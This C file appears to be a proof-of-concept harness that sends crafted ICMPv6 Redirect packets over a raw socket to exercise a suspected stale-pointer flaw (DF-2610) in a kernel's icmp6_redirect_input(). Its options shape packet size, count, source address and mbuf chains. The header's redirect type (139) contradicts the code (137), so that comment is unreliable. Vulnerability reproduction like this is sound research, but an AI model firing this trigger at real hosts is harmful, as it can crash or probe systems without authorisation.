/*
 * redir6.c -- ICMPv6 ND_REDIRECT sender toward a local address (default ::1),
 * used to try to exercise icmp6_redirect_input() and the stale-mtod window
 * claimed by DF-2610 (icmp6.c:2160 mtod BEFORE IP6_EXTHDR_CHECK at 2187).
 *
 * The kernel prepends the IPv6 header (raw_ip6.c:326 M_PREPEND) and
 * computes the ICMPv6 checksum (raw_ip6.c:393-418).
 *
 * Redirect payload: type=139 code=0 cksum=0 reserved(4) target(16) dst(16)
 * then filler to the requested size.
 *
 * usage: redir6 [-s size] [-n count] [-h hlim] [-S src6] [-v niov] [-p usec] dst
 *   -s size   total ICMPv6 payload bytes (>= 40), default 40
 *   -n count  number of sends, default 1
 *   -h hlim   hop limit (255 to pass validation), default 255
 *   -S src6   force source address via IPV6_PKTINFO cmsg
 *   -v niov   split payload into niov iovecs (mbuf-chain shaping attempt)
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>

int
main(int argc, char **argv)
{
	struct sockaddr_in6 dst;
	struct cmsghdr *cmsg;
	char cbuf[CMSG_SPACE(sizeof(struct in6_pktinfo))];
	struct in6_pktinfo *pi;
	struct iovec iov[64];
	struct msghdr msg;
	uint8_t *payload;
	int s, c, opt, size = 40, count = 1, hlim = 255, niov = 1, pause = 0;
	int i, k, sent, itype = 137;
	struct timespec ts;
	struct in6_addr src6;
	int have_src = 0;

	memset(&src6, 0, sizeof(src6));
	while ((opt = getopt(argc, argv, "s:n:h:S:v:p:T:")) != -1) {
		switch (opt) {
		case 's': size = atoi(optarg); break;
		case 'n': count = atoi(optarg); break;
		case 'h': hlim = atoi(optarg); break;
		case 'S':
			if (inet_pton(AF_INET6, optarg, &src6) != 1) {
				fprintf(stderr, "bad src %s\n", optarg);
				return 2;
			}
			have_src = 1;
			break;
		case 'v': niov = atoi(optarg); break;
		case 'p': pause = atoi(optarg); break;
		case 'T': itype = atoi(optarg); break;
		default: goto usage;
		}
	}
	argc -= optind;
	argv += optind;
	if (argc < 1 || size < 40 || niov < 1 || niov > 64)
		goto usage;

	memset(&dst, 0, sizeof(dst));
	dst.sin6_family = AF_INET6;
	if (inet_pton(AF_INET6, argv[0], &dst.sin6_addr) != 1) {
		fprintf(stderr, "bad dst %s\n", argv[0]);
		return 2;
	}

	s = socket(AF_INET6, SOCK_RAW, 58 /* IPPROTO_ICMPV6 */);
	if (s < 0) {
		perror("socket(SOCK_RAW, ICMPV6) [needs root]");
		return 2;
	}
	c = hlim;
	if (setsockopt(s, IPPROTO_IPV6, IPV6_UNICAST_HOPS, &c, sizeof(c)))
		perror("setsockopt hlim");

	payload = malloc(size);
	if (!payload)
		return 2;
	memset(payload, 0, size);
	payload[0] = itype;	/* 137 redirect, 135 NS */
	payload[1] = 0;		/* code */
	/* cksum 0 (kernel computes), reserved 0 */
	/* nd_rd_target = fe80::1 */
	payload[8] = 0xfe; payload[9] = 0x80; payload[11] = 1;
	/* nd_rd_dst = the destination we send to (has a local host route,
	 * so icmp6_redirect_input reaches rtpurelookup+gw validation) */

	sent = 0;
	for (k = 0; k < count; k++) {
		/* nd_rd_dst = sendto destination (local host route) */
		memcpy(payload + 24, &dst.sin6_addr, 16);

		/* vary the filler so each send is distinguishable */
		for (i = 40; i < size; i++)
			payload[i] = (uint8_t)(0x40 + ((i + k) & 0x3f));

		if (niov == 1 && !have_src) {
			c = sendto(s, payload, size, 0,
			    (struct sockaddr *)&dst, sizeof(dst));
			if (c < 0) {
				perror("sendto");
				break;
			}
		} else {
			int per = (size + niov - 1) / niov;
			memset(&msg, 0, sizeof(msg));
			for (i = 0; i < niov; i++) {
				iov[i].iov_base = payload + i * per;
				iov[i].iov_len = (i == niov - 1) ?
				    size - i * per : per;
				if ((int)iov[i].iov_len <= 0)
					iov[i].iov_len = 0;
			}
			msg.msg_name = &dst;
			msg.msg_namelen = sizeof(dst);
			msg.msg_iov = iov;
			msg.msg_iovlen = niov;
			if (have_src) {
				memset(cbuf, 0, sizeof(cbuf));
				msg.msg_control = cbuf;
				msg.msg_controllen = CMSG_SPACE(sizeof(*pi));
				cmsg = CMSG_FIRSTHDR(&msg);
				cmsg->cmsg_level = IPPROTO_IPV6;
				cmsg->cmsg_type = IPV6_PKTINFO;
				cmsg->cmsg_len = CMSG_LEN(sizeof(*pi));
				pi = (void *)CMSG_DATA(cmsg);
				pi->ipi6_addr = src6;
				/* ipi6_ifindex 0: let the kernel choose */
			}
			c = sendmsg(s, &msg, 0);
			if (c < 0) {
				perror("sendmsg");
				break;
			}
		}
		sent++;
		printf("send %d/%d: %d bytes (size=%d niov=%d hlim=%d "
		    "src=%s)\n", k + 1, count, c, size, niov, hlim,
		    have_src ? "forced" : "kernel");
		if (pause) {
			ts.tv_sec = pause / 1000000;
			ts.tv_nsec = (long)(pause % 1000000) * 1000;
			nanosleep(&ts, NULL);
		}
	}
	printf("DONE sent=%d\n", sent);
	close(s);
	return 0;
usage:
	fprintf(stderr, "usage: redir6 [-s size] [-n count] [-h hlim] "
	    "[-S src6] [-v niov] [-p usec] dst\n");
	return 2;
}
